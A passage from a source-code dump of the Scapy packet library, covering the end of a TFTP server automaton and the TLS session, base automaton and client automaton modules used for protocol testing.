contains the data file data. :param joker: (optional) data to return when no file/data is found. :param ip: (optional) the local IP to listen on. :param sport: (optional) the local port (by default: random) :param serve_one: (optional) close after serving one client (default: False) """ def parse_args(self, store=None, joker=None, dir=None, ip=None, sport=None, serve_one=False, **kargs): # noqa: E501 if "iface" not in kargs and ip: ip = str(Net(ip)) kargs["iface"] = conf.route.route(ip)[0] kargs.setdefault("session", IPSession()) Automaton.parse_args(self, **kargs) if store is None: store = {} if dir is not None: self.dir = os.path.join(os.path.abspath(dir), "") else: self.dir = None self.store = store self.joker = joker self.ip = ip self.sport = sport self.serve_one = serve_one self.my_tid = self.sport or random.randint(10000, 65500) bind_bottom_up(UDP, TFTP, dport=self.my_tid) def master_filter(self, pkt): return TFTP in pkt and (not self.ip or pkt[IP].dst == self.ip) @ATMT.state(initial=1) def WAIT_RRQ(self): self.blksize = 512 self.blk = 0 @ATMT.receive_condition(WAIT_RRQ) def receive_rrq(self, pkt): if TFTP_RRQ in pkt: raise self.RECEIVED_RRQ(pkt) @ATMT.state() def RECEIVED_RRQ(self, pkt): ip = pkt[IP] options = pkt.getlayer(TFTP_Options) self.l3 = IP(src=ip.dst, dst=ip.src) / UDP(sport=self.my_tid, dport=ip.sport) / TFTP() # noqa: E501 self.filename = pkt[TFTP_RRQ].filename.decode("utf-8", "ignore") self.blk = 1 self.data = None if self.filename in self.store: self.data = self.store[self.filename] elif self.dir is not None: fn = os.path.abspath(os.path.join(self.dir, self.filename)) if fn.startswith(self.dir): # Check we're still in the server's directory # noqa: E501 try: with open(fn) as fd: self.data = fd.read() except IOError: pass if self.data is None: self.data = self.joker if options: opt = [x for x in options.options if x.oname.upper() == b"BLKSIZE"] if opt: self.blksize = int(opt[0].value) self.debug(2, "Negotiated new blksize at %i" % self.blksize) self.last_packet = self.l3 / TFTP_OACK() / TFTP_Options(options=opt) # noqa: E501 self.send(self.last_packet) @ATMT.condition(RECEIVED_RRQ) def file_in_store(self): if self.data is not None: self.blknb = len(self.data) / self.blksize + 1 raise self.SEND_FILE() @ATMT.condition(RECEIVED_RRQ) def file_not_found(self): if self.data is None: raise self.WAIT_RRQ() @ATMT.action(file_not_found) def send_error(self): self.send(self.l3 / TFTP_ERROR( errorcode=1, errormsg=TFTP_Error_Codes[1], )) @ATMT.state() def SEND_FILE(self): self.send( self.l3 / TFTP_DATA(block=self.blk % 65536) / self.data[(self.blk - 1) * self.blksize:self.blk * self.blksize] ) @ATMT.timeout(SEND_FILE, 3) def timeout_waiting_ack(self): raise self.SEND_FILE() @ATMT.receive_condition(SEND_FILE) def received_ack(self, pkt): if TFTP_ACK in pkt and pkt[TFTP_ACK].block == self.blk: raise self.RECEIVED_ACK() @ATMT.state() def RECEIVED_ACK(self): self.blk += 1 @ATMT.condition(RECEIVED_ACK) def no_more_data(self): if self.blk > self.blknb: if self.serve_one: raise self.END() raise self.WAIT_RRQ() @ATMT.condition(RECEIVED_ACK, prio=2) def data_remaining(self): raise self.SEND_FILE() @ATMT.state(final=1) def END(self): split_bottom_up(UDP, TFTP, dport=self.my_tid) ================================================ FILE: scapy/layers/tls/__init__.py ================================================ # SPDX-License-Identifier: GPL-2.0-only # This file is part of Scapy # See https://scapy.net/ for more information # Copyright (C) 2007, 2008, 2009 Arnaud Ebalard # 2015, 2016, 2017 Maxence Tury # 2019 Romain Perez """ Tools for handling TLS sessions and digital certificates. Use load_layer('tls') to load them to the main namespace. Prerequisites: - You may need to 'pip install cryptography' for the module to be loaded. Main features: - X.509 certificates parsing/building. - RSA & ECDSA keys sign/verify methods. - TLS records and sublayers (handshake...) parsing/building. Works with versions SSLv2 to TLS 1.3. This may be enhanced by a TLS context. For instance, if Scapy reads a ServerHello with version TLS 1.2 and a cipher suite using AES, it will assume the presence of IVs prepending the data. See test/tls.uts for real examples. - TLS encryption/decryption capabilities with many ciphersuites, including some which may be deemed dangerous. Once again, the TLS context enables Scapy to transparently send/receive protected data if it learnt the session secrets. Note that if Scapy acts as one side of the handshake (e.g. reads all server-related packets and builds all client-related packets), it will indeed compute the session secrets. - TLS client & server basic automatons, provided for testing and tweaking purposes. These make for a very primitive TLS stack. - Additionally, a basic test PKI (key + certificate for a CA, a client and a server) is provided in tls/examples/pki_test. Unit tests: - Various cryptography checks. - Reading a TLS handshake between a Firefox client and a GitHub server. - Reading TLS 1.3 handshakes from test vectors of the 8448 RFC. - Reading a SSLv2 handshake between s_client and s_server, without PFS. - Test our TLS server against s_client with different cipher suites. - Test our TLS client against our TLS server (s_server is unscriptable). - Test our TLS client against python's SSL Socket wrapper (for TLS 1.3) TODO list (may it be carved away by good souls): - Features to add (or wait for) in the cryptography library: - the compressed EC point format. - About the automatons: - Allow upgrade from TLS 1.2 to TLS 1.3 in the Automaton client. Currently we'll use TLS 1.3 only if the automaton client was given version="tls13". - Add various checks for discrepancies between client and server. Is the ServerHello ciphersuite ok? What about the SKE params? Etc. - Add some examples which illustrate how the automatons could be used. Typically, we could showcase this with Heartbleed. - Allow the server to store both one RSA key and one ECDSA key, and select the right one to use according to the ClientHello suites. - Miscellaneous: - Define several Certificate Transparency objects. - Mostly unused features : DSS, fixed DH, SRP, char2 curves... """ from scapy.config import conf if not conf.crypto_valid: import logging log_loading = logging.getLogger("scapy.loading") log_loading.info("Can't import python-cryptography v2.0+. " "Disabled PKI & TLS crypto-related features.") ================================================ FILE: scapy/layers/tls/all.py ================================================ # SPDX-License-Identifier: GPL-2.0-only # This file is part of Scapy # See https://scapy.net/ for more information # Copyright (C) 2007, 2008, 2009 Arnaud Ebalard # 2015, 2016, 2017 Maxence Tury """ Aggregate top level objects from all TLS modules. """ from scapy.layers.tls.cert import * # noqa: F401 from scapy.layers.tls.automaton_cli import * # noqa: F401 from scapy.layers.tls.automaton_srv import * # noqa: F401 from scapy.layers.tls.extensions import * # noqa: F401 from scapy.layers.tls.handshake import * # noqa: F401 from scapy.layers.tls.handshake_sslv2 import * # noqa: F401 from scapy.layers.tls.keyexchange import * # noqa: F401 from scapy.layers.tls.keyexchange_tls13 import * # noqa: F401 from scapy.layers.tls.record import * # noqa: F401 from scapy.layers.tls.record_sslv2 import * # noqa: F401 from scapy.layers.tls.record_tls13 import * # noqa: F401 from scapy.layers.tls.session import * # noqa: F401 from scapy.layers.tls.crypto.all import * # noqa: F401 ================================================ FILE: scapy/layers/tls/automaton.py ================================================ # SPDX-License-Identifier: GPL-2.0-only # This file is part of Scapy # See https://scapy.net/ for more information # Copyright (C) 2007, 2008, 2009 Arnaud Ebalard # 2015, 2016, 2017 Maxence Tury """ The _TLSAutomaton class provides methods common to both TLS client and server. """ import select import socket import struct from scapy.automaton import Automaton from scapy.config import conf from scapy.error import log_interactive from scapy.packet import Raw from scapy.layers.tls.basefields import _tls_type from scapy.layers.tls.cert import Cert, PrivKey from scapy.layers.tls.record import TLS from scapy.layers.tls.record_sslv2 import SSLv2 from scapy.layers.tls.record_tls13 import TLS13 class _TLSAutomaton(Automaton): """ SSLv3 and TLS 1.0-1.2 typically need a 2-RTT handshake: Client Server | --------->>> | C1 - ClientHello | <<<--------- | S1 - ServerHello | <<<--------- | S1 - Certificate | <<<--------- | S1 - ServerKeyExchange | <<<--------- | S1 - ServerHelloDone | --------->>> | C2 - ClientKeyExchange | --------->>> | C2 - ChangeCipherSpec | --------->>> | C2 - Finished [encrypted] | <<<--------- | S2 - ChangeCipherSpec | <<<--------- | S2 - Finished [encrypted] We call these successive groups of messages: ClientFlight1, ServerFlight1, ClientFlight2 and ServerFlight2. With TLS 1.3, the handshake require only 1-RTT: Client Server | --------->>> | C1 - ClientHello | <<<--------- | S1 - ServerHello | <<<--------- | S1 - Certificate [encrypted] | <<<--------- | S1 - CertificateVerify [encrypted] | <<<--------- | S1 - Finished [encrypted] | --------->>> | C2 - Finished [encrypted] We want to send our messages from the same flight all at once through the socket. This is achieved by managing a list of records in 'buffer_out'. We may put several messages (i.e. what RFC 5246 calls the record fragments) in the same record when possible, but we may need several records for the same flight, as with ClientFlight2. However, note that the flights from the opposite side may be spread wildly across TLS records and TCP packets. This is why we use a 'get_next_msg' method for feeding a list of received messages, 'buffer_in'. Raw data which has not yet been interpreted as a TLS record is kept in 'remain_in'. """ def __init__(self, *args, **kwargs): kwargs["ll"] = lambda *args, **kwargs: None kwargs["recvsock"] = lambda *args, **kwargs: None super(_TLSAutomaton, self).__init__(*args, **kwargs) def parse_args(self, mycert=None, mykey=None, **kargs): self.verbose = kargs.pop("verbose", True) super(_TLSAutomaton, self).parse_args(**kargs) self.socket = None self.remain_in = b"" self.buffer_in = [] # these are 'fragments' inside records self.buffer_out = [] # these are records self.cur_session = None self.cur_pkt = None # this is usually the latest parsed packet if mycert: self.mycert = Cert(mycert) else: self.mycert = None if mykey: self.mykey = PrivKey(mykey) else: self.mykey = None def get_next_msg(self, socket_timeout=2, retry=2): """ The purpose of the function is to make next message(s) available in self.buffer_in. If the list is not empty, nothing is done. If not, in order to fill it, the function uses the data already available in self.remain_in from a previous call and waits till there are enough to dissect a TLS packet. Once dissected, the content of the TLS packet (carried messages, or 'fragments') is appended to self.buffer_in. We have to grab enough data to dissect a TLS packet. We start by reading the first 2 bytes. Unless we get anything different from \\x14\\x03, \\x15\\x03, \\x16\\x03 or \\x17\\x03 (which might indicate an SSLv2 record, whose first 2 bytes encode the length), we retrieve 3 more bytes in order to get the length of the TLS record, and finally we can retrieve the remaining of the record. """ if self.buffer_in: # A message is already available. return is_sslv2_msg = False still_getting_len = True grablen = 2 while retry and (still_getting_len or len(self.remain_in) < grablen): if not is_sslv2_msg and grablen == 5 and len(self.remain_in) >= 5: grablen = struct.unpack('!H', self.remain_in[3:5])[0] + 5 still_getting_len = False elif grablen == 2 and len(self.remain_in) >= 2: byte0, byte1 = struct.unpack("BB", self.remain_in[:2]) if (byte0 in _tls_type) and (byte1 == 3): # Retry following TLS scheme. This will cause failure # for SSLv2 packets with length 0x1{4-7}03. grablen = 5 else: # Extract the SSLv2 length. is_sslv2_msg = True still_getting_len = False if byte0 & 0x80: grablen = 2 + 0 + ((byte0 & 0x7f) << 8) + byte1 else: grablen = 2 + 1 + ((byte0 & 0x3f) << 8) + byte1 elif not is_sslv2_msg and grablen == 5 and len(self.remain_in) >= 5: # noqa: E501 grablen = struct.unpack('!H', self.remain_in[3:5])[0] + 5 if grablen == len(self.remain_in): break final = False try: tmp, _, _ = select.select([self.socket], [], [], socket_timeout) if not tmp: retry -= 1 else: data = tmp[0].recv(grablen - len(self.remain_in)) if not data: # Socket peer was closed self.vprint("Peer socket closed !") final = True else: self.remain_in += data except Exception as ex: if not isinstance(ex, socket.timeout): self.vprint("Could not join host (%s) ! Retrying..." % ex) retry -= 1 else: if final: raise self.SOCKET_CLOSED() if len(self.remain_in) < 2 or len(self.remain_in) != grablen: # Remote peer is not willing to respond return if (byte0 == 0x17 and (self.cur_session.advertised_tls_version >= 0x0304 or self.cur_session.tls_version >= 0x0304)): p = TLS13(self.remain_in, tls_session=self.cur_session) self.remain_in = b"" self.buffer_in += p.inner.msg else: p = TLS(self.remain_in, tls_session=self.cur_session) self.cur_session = p.tls_session self.remain_in = b"" if isinstance(p, SSLv2) and not p.msg: p.msg = Raw("") if self.cur_session.tls_version is None or \ self.cur_session.tls_version < 0x0304: self.buffer_in += p.msg else: if isinstance(p, TLS13): self.buffer_in += p.inner.msg else: # should be TLS13ServerHello only self.buffer_in += p.msg while p.payload: if isinstance(p.payload, Raw): self.remain_in += p.payload.load p = p.payload elif isinstance(p.payload, TLS): p = p.payload if self.cur_session.tls_version is None or \ self.cur_session.tls_version < 0x0304: self.buffer_in += p.msg else: self.buffer_in += p.inner.msg else: p = p.payload def raise_on_packet(self, pkt_cls, state, get_next_msg=True): """ If the next message to be processed has type 'pkt_cls', raise 'state'. If there is no message waiting to be processed, we try to get one with the default 'get_next_msg' parameters. """ # Maybe we already parsed the expected packet, maybe not. if get_next_msg: self.get_next_msg() if (not self.buffer_in or not isinstance(self.buffer_in[0], pkt_cls)): return self.cur_pkt = self.buffer_in[0] self.buffer_in = self.buffer_in[1:] raise state() def in_handshake(self, pkt_cls): """ Return True if the pkt_cls was present during the handshake. This is used to detect whether Certificates were requested, etc. """ return any( isinstance(m, pkt_cls) for m in self.cur_session.handshake_messages_parsed ) def add_record(self, is_sslv2=None, is_tls13=None, is_tls12=None): """ Add a new TLS or SSLv2 or TLS 1.3 record to the packets buffered out. """ if is_sslv2 is None and is_tls13 is None and is_tls12 is None: v = (self.cur_session.tls_version or self.cur_session.advertised_tls_version) if v in [0x0200, 0x0002]: is_sslv2 = True elif v >= 0x0304: is_tls13 = True if is_sslv2: self.buffer_out.append(SSLv2(tls_session=self.cur_session)) elif is_tls13: self.buffer_out.append(TLS13(tls_session=self.cur_session)) # For TLS 1.3 middlebox compatibility, TLS record version must # be 0x0303 elif is_tls12: self.buffer_out.append(TLS(version="TLS 1.2", tls_session=self.cur_session)) else: self.buffer_out.append(TLS(tls_session=self.cur_session)) def add_msg(self, pkt): """ Add a TLS message (e.g. TLSClientHello or TLSApplicationData) inside the latest record to be sent through the socket. We believe a good automaton should not use the first test. """ if not self.buffer_out: self.add_record() r = self.buffer_out[-1] if isinstance(r, TLS13): self.buffer_out[-1].inner.msg.append(pkt) else: self.buffer_out[-1].msg.append(pkt) def flush_records(self): """ Send all buffered records and update the session accordingly. """ s = b"".join(p.raw_stateful() for p in self.buffer_out) self.socket.send(s) self.buffer_out = [] def vprint(self, s=""): if self.verbose: if conf.interactive: log_interactive.info("> %s", s) else: print("> %s" % s) ================================================ FILE: scapy/layers/tls/automaton_cli.py ================================================ # SPDX-License-Identifier: GPL-2.0-only # This file is part of Scapy # See https://scapy.net/ for more information # Copyright (C) 2007, 2008, 2009 Arnaud Ebalard # 2015, 2016, 2017 Maxence Tury # 2019 Romain Perez """ TLS client automaton. This makes for a primitive TLS stack. Obviously you need rights for network access. We support versions SSLv2 to TLS 1.3, along with many features. In order to run a client to tcp/50000 with one cipher suite of your choice:: from scapy.layers.tls import * ch = TLSClientHello(ciphers=) t = TLSClientAutomaton(dport=50000, client_hello=ch) t.run() You can also use it as a SuperSocket using the ``tlslink`` io:: from scapy.layers.tls import * a = TLSClientAutomaton.tlslink(Raw, server="scapy.net", dport=443) a.send(HTTP()/HTTPRequest()) while True: a.recv() You can also use the io with a TCPSession, e.g. to get an HTTPS answer:: from scapy.all import * from scapy.layers.http import * from scapy.layers.tls.automaton_cli import * a = TLSClientAutomaton.tlslink(HTTP, server="www.google.com", dport=443) pkt = a.sr1(HTTP()/HTTPRequest(), session=TCPSession(app=True), timeout=2) """ import socket import binascii import struct import time from scapy.config import conf from scapy.utils import randstring, repr_hex from scapy.automaton import ATMT, select_objects from scapy.error import warning from scapy.layers.tls.automaton import _TLSAutomaton from scapy.layers.tls.basefields import _tls_version, _tls_version_options from scapy.layers.tls.session import tlsSession from scapy.layers.tls.extensions import ( ServerName, TLS_Ext_PSKKeyExchangeModes, TLS_Ext_PostHandshakeAuth, TLS_Ext_ServerName, TLS_Ext_SignatureAlgorithms, TLS_Ext_SupportedGroups, TLS_Ext_SupportedVersion_CH, TLS_Ext_SupportedVersion_SH, ) from scapy.layers.tls.handshake import TLSCertificate, TLSCertificateRequest, \ TLSCertificateVerify, TLSClientHello, TLSClientKeyExchange, \ TLSEncryptedExtensions, TLSFinished, TLSServerHello, TLSServerHelloDone, \ TLSServerKeyExchange, TLS13Certificate, TLS13ClientHello, \ TLS13ServerHello, TLS13HelloRetryRequest, TLS13CertificateRequest, \ _ASN1CertAndExt, TLS13KeyUpdate, TLS13NewSessionTicket from scapy.layers.tls.handshake_sslv2 import SSLv2ClientHello, \ SSLv2ServerHello, SSLv2ClientMasterKey, SSLv2ServerVerify, \ SSLv2ClientFinished, SSLv2ServerFinished, SSLv2ClientCertificate, \ SSLv2RequestCertificate from scapy.layers.tls.keyexchange_tls13 import TLS_Ext_KeyShare_CH, \ KeyShareEntry, TLS_Ext_KeyShare_HRR, PSKIdentity, PSKBinderEntry, \ TLS_Ext_PreSharedKey_CH from scapy.layers.tls.record import TLSAlert, TLSChangeCipherSpec, \ TLSApplicationData from scapy.layers.tls.crypto.suites import _tls_cipher_suites, \ _tls_cipher_suites_cls from scapy.layers.tls.crypto.groups import _tls_named_groups from scapy.layers.tls.crypto.hkdf import TLS13_HKDF from scapy.packet import Raw from scapy.compat import bytes_encode # Typing imports from typing import ( Optional, ) class TLSClientAutomaton(_TLSAutomaton): """ A simple TLS test client automaton. Try to overload some states or conditions and see what happens on the other side. Rather than with an interruption, the best way to stop this client is by typing 'quit'. This won't be a message sent to the server. :param server: the server IP or hostname. defaults to 127.0.0.1 :param dport: the server port. defaults to 4433 :param server_name: the SNI to use. It does not need to be set :param mycert: :param mykey: may be provided as filenames. They will be used in the (or post) handshake, should the server ask for client authentication. :param client_hello: may hold a TLSClientHello, TLS13ClientHello or SSLv2ClientHello to be sent to the server. This is particularly useful for extensions tweaking. If not set, a default is populated accordingly. :param version: is a quicker way to advertise a protocol version ("sslv2", "tls1", "tls12", "tls13", etc.) It may be overridden by the previous 'client_hello'. :param session_ticket_file_in: path to a file that contains a session ticket acquired in a previous session. :param session_ticket_file_out: path to store any session ticket acquired during this session. :param data: is a list of raw data to be sent to the server once the handshake has been completed. Both 'stop_server' and 'quit' will work this way. """ def parse_args(self, server="127.0.0.1", dport=4433, server_name=None, mycert=None, mykey=None, client_hello=None, version=None, resumption_master_secret=None, session_ticket_file_in=None, session_ticket_file_out=None, psk=None, psk_mode=None, data=None, ciphersuite: Optional[int] = None, curve: Optional[str] = None, supported_groups=None, supported_signature_algorithms=None, **kargs): super(TLSClientAutomaton, self).parse_args(mycert=mycert, mykey=mykey, **kargs) tmp = socket.getaddrinfo(server, dport) self.remote_family = tmp[0][0] self.remote_ip = tmp[0][4][0] self.remote_port = dport self.server_name = server_name self.local_ip = None self.local_port = None self.socket = None if isinstance(client_hello, (SSLv2ClientHello, TLSClientHello, TLS13ClientHello)): self.client_hello = client_hello else: self.client_hello = None self.advertised_tls_version = None if version: v = _tls_version_options.get(version, None) if not v: self.vprint("Unrecognized TLS version option.") else: self.advertised_tls_version = v self.linebreak = False if isinstance(data, bytes): self.data_to_send = [data] elif isinstance(data, str): self.data_to_send = [bytes_encode(data)] elif isinstance(data, list): self.data_to_send = list(bytes_encode(d) for d in reversed(data)) else: self.data_to_send = [] if supported_groups is None: supported_groups = ["secp256r1", "secp384r1", "x448"] if conf.crypto_valid_advanced: supported_groups.extend([ "x25519", "ffdhe2048", ]) self.supported_groups = supported_groups if supported_signature_algorithms is None: supported_signature_algorithms = [ "sha256+rsaepss", "sha256+rsa", "ed25519", "ed448", ] self.supported_signature_algorithms = supported_signature_algorithms self.curve = None self.ciphersuite = None if ciphersuite is not None: if ciphersuite in _tls_cipher_suites.keys(): self.ciphersuite = ciphersuite else: self.vprint("Unrecognized cipher suite.") if self.advertised_tls_version == 0x0304: if conf.crypto_valid_advanced: # Default to x25519 if supported self.curve = 29 else: # Or secp256r1 otherwise self.curve = 23 self.resumption_master_secret = resumption_master_secret self.session_ticket_file_in = session_ticket_file_in self.session_ticket_file_out = session_ticket_file_out self.tls13_psk_secret = psk self.tls13_psk_mode = psk_mode self.tls13_doing_client_postauth = False if curve is not None: for (group_id, ng) in _tls_named_groups.items(): if ng == curve: if curve == "x25519": if conf.crypto_valid_advanced: self.curve = group_id else: self.curve = group_id def vprint_sessioninfo(self): if self.verbose: s = self.cur_session v = _tls_version[s.tls_version] self.vprint("Version : %s" % v) cs = s.wcs.ciphersuite.name self.vprint("Cipher suite : %s" % cs) kx_groupname = s.kx_group self.vprint("Server temp key : %s" % kx_groupname) if s.tls_version >= 0x0304: ms = s.tls13_master_secret else: ms = s.master_secret self.vprint("Master secret : %s" % repr_hex(ms)) if s.server_certs: self.vprint("Server certificate chain: %r" % s.server_certs) if s.tls_version >= 0x0304: res_secret = s.tls13_derived_secrets["resumption_secret"] self.vprint("Resumption master secret : %s" % repr_hex(res_secret)) self.vprint() @ATMT.state(initial=True) def INITIAL(self): self.vprint("Starting TLS client automaton.") raise self.INIT_TLS_SESSION() @ATMT.ioevent(INITIAL, name="tls", as_supersocket="tlslink") def _socket(self, fd): pass @ATMT.state() def INIT_TLS_SESSION(self): self.cur_session = tlsSession(connection_end="client") s = self.cur_session s.client_certs = self.mycert s.client_key = self.mykey v = self.advertised_tls_version if v: s.advertised_tls_version = v else: default_version = s.advertised_tls_version self.advertised_tls_version = default_version if s.advertised_tls_version >= 0x0304: # For out of band PSK, the PSK is given as an argument # to the automaton if self.tls13_psk_secret: s.tls13_psk_secret = binascii.unhexlify(self.tls13_psk_secret) # For resumed PSK, the PSK is computed from if self.session_ticket_file_in: with open(self.session_ticket_file_in, 'rb') as f: resumed_ciphersuite_len = struct.unpack("B", f.read(1))[0] s.tls13_ticket_ciphersuite = \ struct.unpack("!H", f.read(resumed_ciphersuite_len))[0] ticket_nonce_len = struct.unpack("B", f.read(1))[0] # XXX add client_session_nonce member in tlsSession s.client_session_nonce = f.read(ticket_nonce_len) client_ticket_age_len = struct.unpack("!H", f.read(2))[0] tmp = f.read(client_ticket_age_len) s.client_ticket_age = struct.unpack("!I", tmp)[0] client_ticket_age_add_len = struct.unpack( "!H", f.read(2))[0] tmp = f.read(client_ticket_age_add_len) s.client_session_ticket_age_add = struct.unpack( "!I", tmp)[0] ticket_len = struct.unpack("!H", f.read(2))[0] s.client_session_ticket = f.read(ticket_len) if self.resumption_master_secret: if s.tls13_ticket_ciphersuite not in _tls_cipher_suites_cls: # noqa: E501 warning("Unknown cipher suite %d", s.tls13_ticket_ciphersuite) # noqa: E501 # we do not try to set a default nor stop the execution else: cs_cls = _tls_cipher_suites_cls[s.tls13_ticket_ciphersuite] # noqa: E501 hkdf = TLS13_HKDF(cs_cls.hash_alg.name.lower()) hash_len = hkdf.hash.digest_size s.tls13_psk_secret = hkdf.expand_label(binascii.unhexlify(self.resumption_master_secret), # noqa: E501 b"resumption", s.client_session_nonce, # noqa: E501 hash_len) raise self.CONNECT() @ATMT.state() def CONNECT(self): s = socket.socket(self.remote_family, socket.SOCK_STREAM) self.vprint() self.vprint("Trying to connect on %s:%d" % (self.remote_ip, self.remote_port)) s.connect((self.remote_ip, self.remote_port)) self.socket = s self.local_ip, self.local_port = self.socket.getsockname()[:2] self.vprint() if self.cur_session.advertised_tls_version in [0x0200, 0x0002]: raise self.SSLv2_PREPARE_CLIENTHELLO() elif self.cur_session.advertised_tls_version >= 0x0304: raise self.TLS13_START() else: raise self.PREPARE_CLIENTFLIGHT1() # TLS handshake # @ATMT.state() def PREPARE_CLIENTFLIGHT1(self): self.add_record() @ATMT.condition(PREPARE_CLIENTFLIGHT1) def should_add_ClientHello(self): if self.client_hello: p = self.client_hello else: p = TLSClientHello(ciphers=self.ciphersuite) ext = [] # Add TLS_Ext_SignatureAlgorithms for TLS 1.2 ClientHello if self.cur_session.advertised_tls_version == 0x0303: ext += [TLS_Ext_SignatureAlgorithms( sig_algs=self.supported_signature_algorithms, )] # Add TLS_Ext_ServerName if self.server_name: ext += TLS_Ext_ServerName( servernames=[ServerName(servername=self.server_name)] ) p.ext = ext self.add_msg(p) raise self.ADDED_CLIENTHELLO() @ATMT.state() def ADDED_CLIENTHELLO(self): pass @ATMT.condition(ADDED_CLIENTHELLO) def should_send_ClientFlight1(self): self.flush_records() raise self.SENT_CLIENTFLIGHT1() @ATMT.state() def SENT_CLIENTFLIGHT1(self): raise self.WAITING_SERVERFLIGHT1() @ATMT.state() def WAITING_SERVERFLIGHT1(self): self.get_next_msg() raise self.RECEIVED_SERVERFLIGHT1() @ATMT.state() def RECEIVED_SERVERFLIGHT1(self): pass @ATMT.condition(RECEIVED_SERVERFLIGHT1, prio=1) def should_handle_ServerHello(self): """ XXX We should check the ServerHello attributes for discrepancies with our own ClientHello. """ self.raise_on_packet(TLSServerHello, self.HANDLED_SERVERHELLO) @ATMT.state() def HANDLED_SERVERHELLO(self): pass @ATMT.condition(RECEIVED_SERVERFLIGHT1, prio=2) def missing_ServerHello(self): raise self.MISSING_SERVERHELLO() @ATMT.state() def MISSING_SERVERHELLO(self): self.vprint("Missing TLS ServerHello message!") raise self.CLOSE_NOTIFY() @ATMT.condition(HANDLED_SERVERHELLO, prio=1) def should_handle_ServerCertificate(self): if not self.cur_session.prcs.key_exchange.anonymous: self.raise_on_packet(TLSCertificate, self.HANDLED_SERVERCERTIFICATE) raise self.HANDLED_SERVERCERTIFICATE() @ATMT.state() def HANDLED_SERVERCERTIFICATE(self): pass @ATMT.condition(HANDLED_SERVERHELLO, prio=2) def missing_ServerCertificate(self): raise self.MISSING_SERVERCERTIFICATE() @ATMT.state() def MISSING_SERVERCERTIFICATE(self): self.vprint("Missing TLS Certificate message!") raise self.CLOSE_NOTIFY() @ATMT.state() def HANDLED_CERTIFICATEREQUEST(self): self.vprint("Server asked for a certificate...") if not self.mykey or not self.mycert: self.vprint("No client certificate to send!") self.vprint("Will try and send an empty Certificate message...") @ATMT.condition(HANDLED_SERVERCERTIFICATE, prio=1) def should_handle_ServerKeyExchange_from_ServerCertificate(self): """ XXX We should check the ServerKeyExchange attributes for discrepancies with our own ClientHello, along with the ServerHello and Certificate. """ self.raise_on_packet(TLSServerKeyExchange, self.HANDLED_SERVERKEYEXCHANGE) @ATMT.state(final=True) def MISSING_SERVERKEYEXCHANGE(self): pass @ATMT.condition(HANDLED_SERVERCERTIFICATE, prio=2) def missing_ServerKeyExchange(self): if not self.cur_session.prcs.key_exchange.no_ske: raise self.MISSING_SERVERKEYEXCHANGE() @ATMT.state() def HANDLED_SERVERKEYEXCHANGE(self): pass def should_handle_CertificateRequest(self): """ XXX We should check the CertificateRequest attributes for discrepancies with the cipher suite, etc. """ self.raise_on_packet(TLSCertificateRequest, self.HANDLED_CERTIFICATEREQUEST) @ATMT.condition(HANDLED_SERVERKEYEXCHANGE, prio=2) def should_handle_CertificateRequest_from_ServerKeyExchange(self): self.should_handle_CertificateRequest() @ATMT.condition(HANDLED_SERVERCERTIFICATE, prio=3) def should_handle_CertificateRequest_from_ServerCertificate(self): self.should_handle_CertificateRequest() def should_handle_ServerHelloDone(self): self.raise_on_packet(TLSServerHelloDone, self.HANDLED_SERVERHELLODONE) @ATMT.condition(HANDLED_SERVERKEYEXCHANGE, prio=1) def should_handle_ServerHelloDone_from_ServerKeyExchange(self): return self.should_handle_ServerHelloDone() @ATMT.condition(HANDLED_CERTIFICATEREQUEST) def should_handle_ServerHelloDone_from_CertificateRequest(self): return self.should_handle_ServerHelloDone() @ATMT.condition(HANDLED_SERVERCERTIFICATE, prio=4) def should_handle_ServerHelloDone_from_ServerCertificate(self): return self.should_handle_ServerHelloDone() @ATMT.state() def HANDLED_SERVERHELLODONE(self): raise self.PREPARE_CLIENTFLIGHT2() @ATMT.state() def PREPARE_CLIENTFLIGHT2(self): self.add_record() @ATMT.condition(PREPARE_CLIENTFLIGHT2, prio=1) def should_add_ClientCertificate(self): """ If the server sent a CertificateRequest, we send a Certificate message. If no certificate is available, an empty Certificate message is sent: - this is a SHOULD in RFC 4346 (Section 7.4.6) - this is a MUST in RFC 5246 (Section 7.4.6) XXX We may want to add a complete chain. """ if not self.in_handshake(TLSCertificateRequest): return certs = [] if self.mycert: certs = [self.mycert] self.add_msg(TLSCertificate(certs=certs)) raise self.ADDED_CLIENTCERTIFICATE() @ATMT.state() def ADDED_CLIENTCERTIFICATE(self): pass def should_add_ClientKeyExchange(self): self.add_msg(TLSClientKeyExchange()) raise self.ADDED_CLIENTKEYEXCHANGE() @ATMT.condition(PREPARE_CLIENTFLIGHT2, prio=2) def should_add_ClientKeyExchange_from_ClientFlight2(self): return self.should_add_ClientKeyExchange() @ATMT.condition(ADDED_CLIENTCERTIFICATE) def should_add_ClientKeyExchange_from_ClientCertificate(self): return self.should_add_ClientKeyExchange() @ATMT.state() def ADDED_CLIENTKEYEXCHANGE(self): pass @ATMT.condition(ADDED_CLIENTKEYEXCHANGE, prio=1) def should_add_ClientVerify(self): """ XXX Section 7.4.7.1 of RFC 5246 states that the CertificateVerify message is only sent following a client certificate that has signing capability (i.e. not those containing fixed DH params). We should verify that before adding the message. We should also handle the case when the Certificate message was empty. """ if not self.in_handshake(TLSCertificateRequest): return if self.mycert is None or self.mykey is None: return self.add_msg(TLSCertificateVerify()) raise self.ADDED_CERTIFICATEVERIFY() @ATMT.state() def ADDED_CERTIFICATEVERIFY(self): pass @ATMT.condition(ADDED_CERTIFICATEVERIFY) def should_add_ChangeCipherSpec_from_CertificateVerify(self): self.add_record() self.add_msg(TLSChangeCipherSpec()) raise self.ADDED_CHANGECIPHERSPEC() @ATMT.condition(ADDED_CLIENTKEYEXCHANGE, prio=2) def should_add_ChangeCipherSpec_from_ClientKeyExchange(self): self.add_record() self.add_msg(TLSChangeCipherSpec()) raise self.ADDED_CHANGECIPHERSPEC() @ATMT.state() def ADDED_CHANGECIPHERSPEC(self): pass @ATMT.condition(ADDED_CHANGECIPHERSPEC) def should_add_ClientFinished(self): self.add_record() self.add_msg(TLSFinished()) raise self.ADDED_CLIENTFINISHED() @ATMT.state() def ADDED_CLIENTFINISHED(self): pass @ATMT.condition(ADDED_CLIENTFINISHED) def should_send_ClientFlight2(self): self.flush_records() raise self.SENT_CLIENTFLIGHT2() @ATMT.state() def SENT_CLIENTFLIGHT2(self): raise self.WAITING_SERVERFLIGHT2() @ATMT.state() def WAITING_SERVERFLIGHT2(self): self.get_next_msg() raise self.RECEIVED_SERVERFLIGHT2() @ATMT.state() def RECEIVED_SERVERFLIGHT2(self): pass @ATMT.condition(RECEIVED_SERVERFLIGHT2) def should_handle_ChangeCipherSpec(self): self.raise_on_packet(TLSChangeCipherSpec, 